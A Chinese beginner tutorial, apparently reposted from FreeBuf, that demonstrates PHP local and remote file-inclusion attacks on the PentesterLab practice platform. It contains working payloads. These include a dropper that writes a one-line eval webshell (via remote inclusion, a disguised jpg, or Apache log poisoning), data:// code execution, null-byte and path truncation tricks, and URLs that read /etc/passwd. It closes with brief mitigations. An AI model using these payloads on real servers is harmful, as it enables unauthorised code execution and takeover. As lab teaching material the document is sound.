PentesterLab新手教程(四):文件包含

x
用微信扫描二维码
分享至好友和朋友圈

  PentesterLab 简介

  Web for pentester 是国外安全研究者开发的的一款渗透测试平台。

  这个平台包含的主要漏洞如下:

  

Code injection (代码注入)
Commands injection(命令行注入)
XSS(跨站脚本)
SQL injections(sql注入)
File include(文件包含)
LDAP attacks(LDAP攻击)
File Upload(文件上传)
XML attacks(zXML攻击)

  个人感觉还是不错的,但是国内基本上搜不到教程,官网上的教程确实有点价格不菲,所以在此打算写一个pentesterLab的全套教程,PentesterLab上面的web漏洞感觉比较典型而且比较基础非常适合新手,因为本教程面向新手,所以有些地方别嫌我啰嗦,嘿嘿。

  系列教程:

PentesterLab新手教程(一):代码注入
PentesterLab新手教程(二):XML注入
PentesterLab 新手教程(三) :LDAP攻击

  PentesterLab安装

  安装方法真是很简单了,官网下载ios镜像,虚拟机里面直接安装就好。

  官网地址&下载地址

  前言

  这个模块介绍的主要是php文件包含。

  php文件包含分为本地包含和远程包含。文件包含有以下几个函数:

  

include()
include_once()
require()
require_once()
fopen()
readfile()

  区别:

  

include是当代码执行到它的时候才加载文件,发生错误的时候只是给一个警告,然后继续往下执行
require是只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行

  require一般是用于文件头包含类文件、数据库等等文件,include一般是用于包含html模版文件include_once()、require_once()与(include\require)的功能相同,只是区别于当重复调用的时候,它只会调用一次。

  在做文件包含之前先了解一些常见的文件包含漏洞。

  读取关键文件 Windows: c:\windows\php.ini php配置文件 c:\windows\my.ini mysql配置文件 Linux: /etc/passwd 读取用户密码 /usr/local/app/php5/lib/php.ini PHP配置文件 /etc/httpd/conf/http.conf apache主配置文件 /etc/my.cnf mysql配置文件

  利用方式如:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd

  远程包含

  前提是allow_url_fopen是打开状态。如远程服务器上新建一个xxx.txt文件,内容如下:

  <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>

  远程包含如http://192.168.199.110/fileincl/example2.php?page=http://www.xxx.com/xxx.txt此时在服务器根目录下就会生成shell.php文件,内容为一句话木马

  <?php eval($_POST[xxx]);?> 本地包含木马

  如果目标服务器关闭了allow_url_fopen,则可尝试上传如xxx.jpg。内容如下:

  <?fputs(fopen("shell.php","w"),"<?php eval($_POST[xxx]);?>")?>

  访问如:http://192.168.199.110/fileincl/example2.php?page=/var/www/a.jpg就能在本地生成shell.php

  配合apache日志

  apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/<?php eval($_POST[xxx]);?>则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址。

  利用php协议进行包含

  同样allow_url_include需要开启,利用如:http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

  截断包含

  %00截断

  截断条件:

  php版本小于5.3.4 详情关注CVE-2006-7243

  php的magic_quotes_gpc为OFF状态

  长目录截断

  ././././././././././././././etc/passwd 或者 ////////////////////////////etc/passwd 或者 ../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

  :php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256,超出部分会被系统丢弃。

  点号截断/boot.ini/……………………

  注:php版本小于5.2.8,只适用windows,点号需要长于256

  exampl1 <?php require_once '../header.php'; ?> <?php if ($_GET["page"]) { include($_GET["page"]); } ?> <?php require_once '../footer.php'; ?>

  没有任何过滤,基本上算是为所欲为。

  poc:

  http://192.168.199.110/fileincl/example2.php?page=/etc/passwd 本地包含 http://192.168.199.110/fileincl/example2.php?page=http://assets.pentesterlab.com/test_include.txt 远程包含(PentesterLab的网站还包含针对此类漏洞的测试,访问此url会显示phpinfo内容)

  另外:向url的配置参数里面加上一固态特殊符号(例如引号)。会引起报错如下

  Warning: include(/etc'): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '/etc'' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7 ? PentesterLab 2013

  这应该算是个小技巧了吧,从中可以得到如下信息:

  脚本的路径:/var/www/fileincl/example1.php 使用的功能:include()。 example2 <?php require_once '../header.php'; ?> <?php if ($_GET["page"]) { $file = $_GET["page"].".php"; // simulate null byte issue $file = preg_replace('/\x00.*/',"",$file); include($file); } ?> <?php require_once '../footer.php'; ?> 后端代码分析

  $file = $_GET["page"].".php";给包含的文件加上.php后缀名,是为了防止本地包含漏洞,限制只包含php后缀名的文件。

  preg_replace()函数,正则表达式匹配,并把它替换成相应的字符串。

  \x00匹配该十六进制对应的acsii,即NULL . 匹配任意字符 * 匹配前面的子表达式零次或多次。 更多正则表达式相关可参照:http://www.runoob.com/regexp/regexp-syntax.html

  可以使用%00截断,poc如下:http://192.168.199.110/fileincl/example2.php?page=/etc/passwd%00 后面的.php后缀直接被截断。

  总结

  总的来说,文件包含是个比较常见的漏洞,可以直接getshell

  总的来说有以下几种预防的方法:

  

php中可以使用 open_basedir配置限制访问权限在指定区域
过滤 . (点) / (斜杠) \ (反斜杠)3.禁止服务器远程文件包含(allow_url_include = off)

  *本文作者:婷儿小跟班,转载请注明来自FreeBuf.COM

特别声明:本文为网易自媒体平台“网易号”作者上传并发布,仅代表该作者观点。网易仅提供信息发布平台。

跟贴 跟贴 2 参与 102
© 1997-2019 网易公司版权所有 About NetEase | 公司简介 | 联系方法 | 招聘信息 | 客户服务 | 隐私政策 | 广告服务 | 网站地图 | 意见反馈 | 不良信息举报

FreeBuf

互联网安全新媒体

头像

FreeBuf

互联网安全新媒体

5506

篇文章

14192

人关注

列表加载中...
请登录后再关注
x

用户登录

网易通行证/邮箱用户可以直接登录:
忘记密码